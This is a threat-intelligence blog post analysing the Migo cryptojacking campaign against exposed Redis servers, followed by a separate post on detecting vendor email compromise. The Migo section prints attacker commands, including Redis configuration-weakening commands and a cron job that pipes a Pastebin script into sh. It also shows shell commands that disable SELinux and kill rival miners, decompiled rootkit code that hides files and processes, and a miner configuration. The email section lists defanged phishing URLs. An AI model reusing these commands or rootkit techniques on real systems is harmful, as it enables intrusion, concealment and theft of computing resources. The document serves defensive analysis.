Blog
/
Cloud
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
20
Feb 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

Email

/

September 30, 2025

Out of Character: Detecting Vendor Compromise and Trusted Relationship Abuse with Darktrace

vendor email compromiseDefault blog imageDefault blog image

What is Vendor Email Compromise?

Vendor Email Compromise (VEC) refers to an attack where actors breach a third-party provider to exploit their access, relationships, or systems for malicious purposes. The initially compromised entities are often the target’s existing partners, though this can extend to any organization or individual the target is likely to trust.

It sits at the intersection of supply chain attacks and business email compromise (BEC), blending technical exploitation with trust-based deception. Attackers often infiltrate existing conversations, leveraging AI to mimic tone and avoid common spelling and grammar pitfalls. Malicious content is typically hosted on otherwise reputable file sharing platforms, meaning any shared links initially seem harmless.

While techniques to achieve initial access may have evolved, the goals remain familiar. Threat actors harvest credentials, launch subsequent phishing campaigns, attempt to redirect invoice payments for financial gain, and exfiltrate sensitive corporate data.

Why traditional defenses fall short

These subtle and sophisticated email attacks pose unique challenges for defenders. Few busy people would treat an ongoing conversation with a trusted contact with the same level of suspicion as an email from the CEO requesting ‘URGENT ASSISTANCE!’ Unfortunately, many traditional secure email gateways (SEGs) struggle with this too. Detecting an out-of-character email, when it does not obviously appear out of character, is a complex challenge. It’s hardly surprising, then, that 83% of organizations have experienced a security incident involving third-party vendors [1].  

This article explores how Darktrace detected four different vendor compromise campaigns for a single customer, within a two-week period in 2025.  Darktrace / EMAIL successfully identified the subtle indicators that these seemingly benign emails from trusted senders were, in fact, malicious. Due to the configuration of Darktrace / EMAIL in this customer’s environment, it was unable to take action against the malicious emails. However, if fully enabled to take Autonomous Response, it would have held all offending emails identified.

How does Darktrace detect vendor compromise?

The answer lies at the core of how Darktrace operates: anomaly detection. Rather than relying on known malicious rules or signatures, Darktrace learns what ‘normal’ looks like for an environment, then looks for anomalies across a wide range of metrics. Despite the resourcefulness of the threat actors involved in this case, Darktrace identified many anomalies across these campaigns.

Different campaigns, common traits

A wide variety of approaches was observed. Individuals, shared mailboxes and external contractors were all targeted. Two emails originated from compromised current vendors, while two came from unknown compromised organizations - one in an associated industry. The sender organizations were either familiar or, at the very least, professional in appearance, with no unusual alphanumeric strings or suspicious top-level domains (TLDs). Subject line, such as “New Approved Statement From [REDACTED]” and “[REDACTED] - Proposal Document” appeared unremarkable and were not designed to provoke heightened emotions like typical social engineering or BEC attempts.

All emails had been given a Microsoft Spam Confidence Level of 1, indicating Microsoft did not consider them to be spam or malicious [2]. They also passed authentication checks (including SPF, and in some cases DKIM and DMARC), meaning they appeared to originate from an authentic source for the sender domain and had not been tampered with in transit.  

All observed phishing emails contained a link hosted on a legitimate and commonly used file-sharing site. These sites were often convincingly themed, frequently featuring the name of a trusted vendor either on the page or within the URL, to appear authentic and avoid raising suspicion. However, these links served only as the initial step in a more complex, multi-stage phishing process.

A legitimate file sharing site used in phishing emails to host a secondary malicious link.
Figure 1: A legitimate file sharing site used in phishing emails to host a secondary malicious link.
Another example of a legitimate file sharing endpoint sent in a phishing email and used to host a malicious link.
Figure 2: Another example of a legitimate file sharing endpoint sent in a phishing email and used to host a malicious link.

If followed, the recipient would be redirected, sometimes via CAPTCHA, to fake Microsoft login pages designed to capturing credentials, namely http://pub-ac94c05b39aa4f75ad1df88d384932b8.r2[.]dev/offline[.]html and https://s3.us-east-1.amazonaws[.]com/s3cure0line-0365cql0.19db86c3-b2b9-44cc-b339-36da233a3be2ml0qin/s3cccql0.19db86c3-b2b9-44cc-b339-36da233a3be2%26l0qn[.]html#.

The latter made use of homoglyphs to deceive the user, with a link referencing ‘s3cure0line’, rather than ‘secureonline’. Post-incident investigation using open-source intelligence (OSINT) confirmed that the domains were linked to malicious phishing endpoints [3] [4].

Fake Microsoft login page designed to harvest credentials.
Figure 3: Fake Microsoft login page designed to harvest credentials.
Phishing kit with likely AI-generated image, designed to harvest user credentials. The URL uses ‘s3cure0line’ instead of ‘secureonline’, a subtle misspelling intended to deceive users.
Figure 4: Phishing kit with likely AI-generated image, designed to harvest user credentials. The URL uses ‘s3cure0line’ instead of ‘secureonline’, a subtle misspelling intended to deceive users.

Darktrace Anomaly Detection

Some senders were unknown to the network, with no previous outbound or inbound emails. Some had sent the email to multiple undisclosed recipients using BCC, an unusual behavior for a new sender.  

Where the sender organization was an existing vendor, Darktrace recognized out-of-character behavior, in this case it was the first time a link to a particular file-sharing site had been shared. Often the links themselves exhibited anomalies, either being unusually prominent or hidden altogether - masked by text or a clickable image.

Crucially, Darktrace / EMAIL is able to identify malicious links at the time of processing the emails, without needing to visit the URLs or analyze the destination endpoints, meaning even the most convincing phishing pages cannot evade detection – meaning even the most convincing phishing emails cannot evade detection. This sets it apart from many competitors who rely on crawling the endpoints present in emails. This, among other things, risks disruption to user experience, such as unsubscribing them from emails, for instance.

Darktrace was also able to determine that the malicious emails originated from a compromised mailbox, using a series of behavioral and contextual metrics to make the identification. Upon analysis of the emails, Darktrace autonomously assigned several contextual tags to highlight their concerning elements, indicating that the messages contained phishing links, were likely sent from a compromised account, and originated from a known correspondent exhibiting out-of-character behavior.

A summary of the anomalous email, confirming that it contained a highly suspicious link.
Figure 5: Tags assigned to offending emails by Darktrace / EMAIL.

Figure 6: A summary of the anomalous email, confirming that it contained a highly suspicious link.

Out-of-character behavior caught in real-time

In another customer environment around the same time Darktrace / EMAIL detected multiple emails with carefully crafted, contextually appropriate subject lines sent from an established correspondent being sent to 30 different recipients. In many cases, the attacker hijacked existing threads and inserted their malicious emails into an ongoing conversation in an effort to blend in and avoid detection. As in the previous, the attacker leveraged a well-known service, this time ClickFunnels, to host a document containing another malicious link. Once again, they were assigned a Microsoft Spam Confidence Level of 1, indicating that they were not considered malicious.

The legitimate ClickFunnels page used to host a malicious phishing link.
Figure 7: The legitimate ClickFunnels page used to host a malicious phishing link.

This time, however, the customer had Darktrace / EMAIL fully enabled to take Autonomous Response against suspicious emails. As a result, when Darktrace detected the out-of-character behavior, specifically, the sharing of a link to a previously unused file-sharing domain, and identified the likely malicious intent of the message, it held the email, preventing it from reaching recipients’ inboxes and effectively shutting down the attack.

Figure 8: Darktrace / EMAIL’s detection of malicious emails inserted into an existing thread.*

*To preserve anonymity, all real customer names, email addresses, and other identifying details have been redacted and replaced with fictitious placeholders.

Legitimate messages in the conversation were assigned an Anomaly Score of 0, while the newly inserted malicious emails identified and were flagged with the maximum score of 100.

Key takeaways for defenders

Phishing remains big business, and as the landscape evolves, today’s campaigns often look very different from earlier versions. As with network-based attacks, threat actors are increasingly leveraging legitimate tools and exploiting trusted relationships to carry out their malicious goals, often staying under the radar of security teams and traditional email defenses.

As attackers continue to exploit trusted relationships between organizations and their third-party associates, security teams must remain vigilant to unexpected or suspicious email activity. Protecting the digital estate requires an email solution capable of identifying malicious characteristics, even when they originate from otherwise trusted senders.

Credit to Jennifer Beckett (Cyber Analyst), Patrick Anjos (Senior Cyber Analyst), Ryan Traill (Analyst Content Lead), Kiri Addison (Director of Product)

Appendices

IoC - Type - Description + Confidence  

- http://pub-ac94c05b39aa4f75ad1df88d384932b8.r2[.]dev/offline[.]html#p – fake Microsoft login page

